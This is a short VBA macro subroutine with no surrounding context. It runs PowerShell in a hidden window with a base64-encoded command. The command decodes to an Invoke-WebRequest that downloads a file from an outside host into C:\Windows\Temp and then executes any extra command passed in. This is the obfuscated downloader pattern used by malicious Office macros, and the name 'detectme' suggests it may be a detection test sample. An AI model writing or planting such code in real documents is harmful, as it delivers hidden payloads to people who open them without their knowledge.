Sub RunPowershellCommand(ByVal sPSCmd As String) 'Execute command sPSCmd = "powershell -hidden -e SW52b2tlLVdlYlJlcXVlc3QgaHR0cDovL3Ztb3NocGl0LmNvbS9kZXRlY3RtZS56aXAgLU91dEZpbGUgQzpcV2luZG93c1xUZW1wXGE1a0xkTzMudG1w " & sPSCmd CreateObject("WScript.Shell").Exec (sPSCmd) End Sub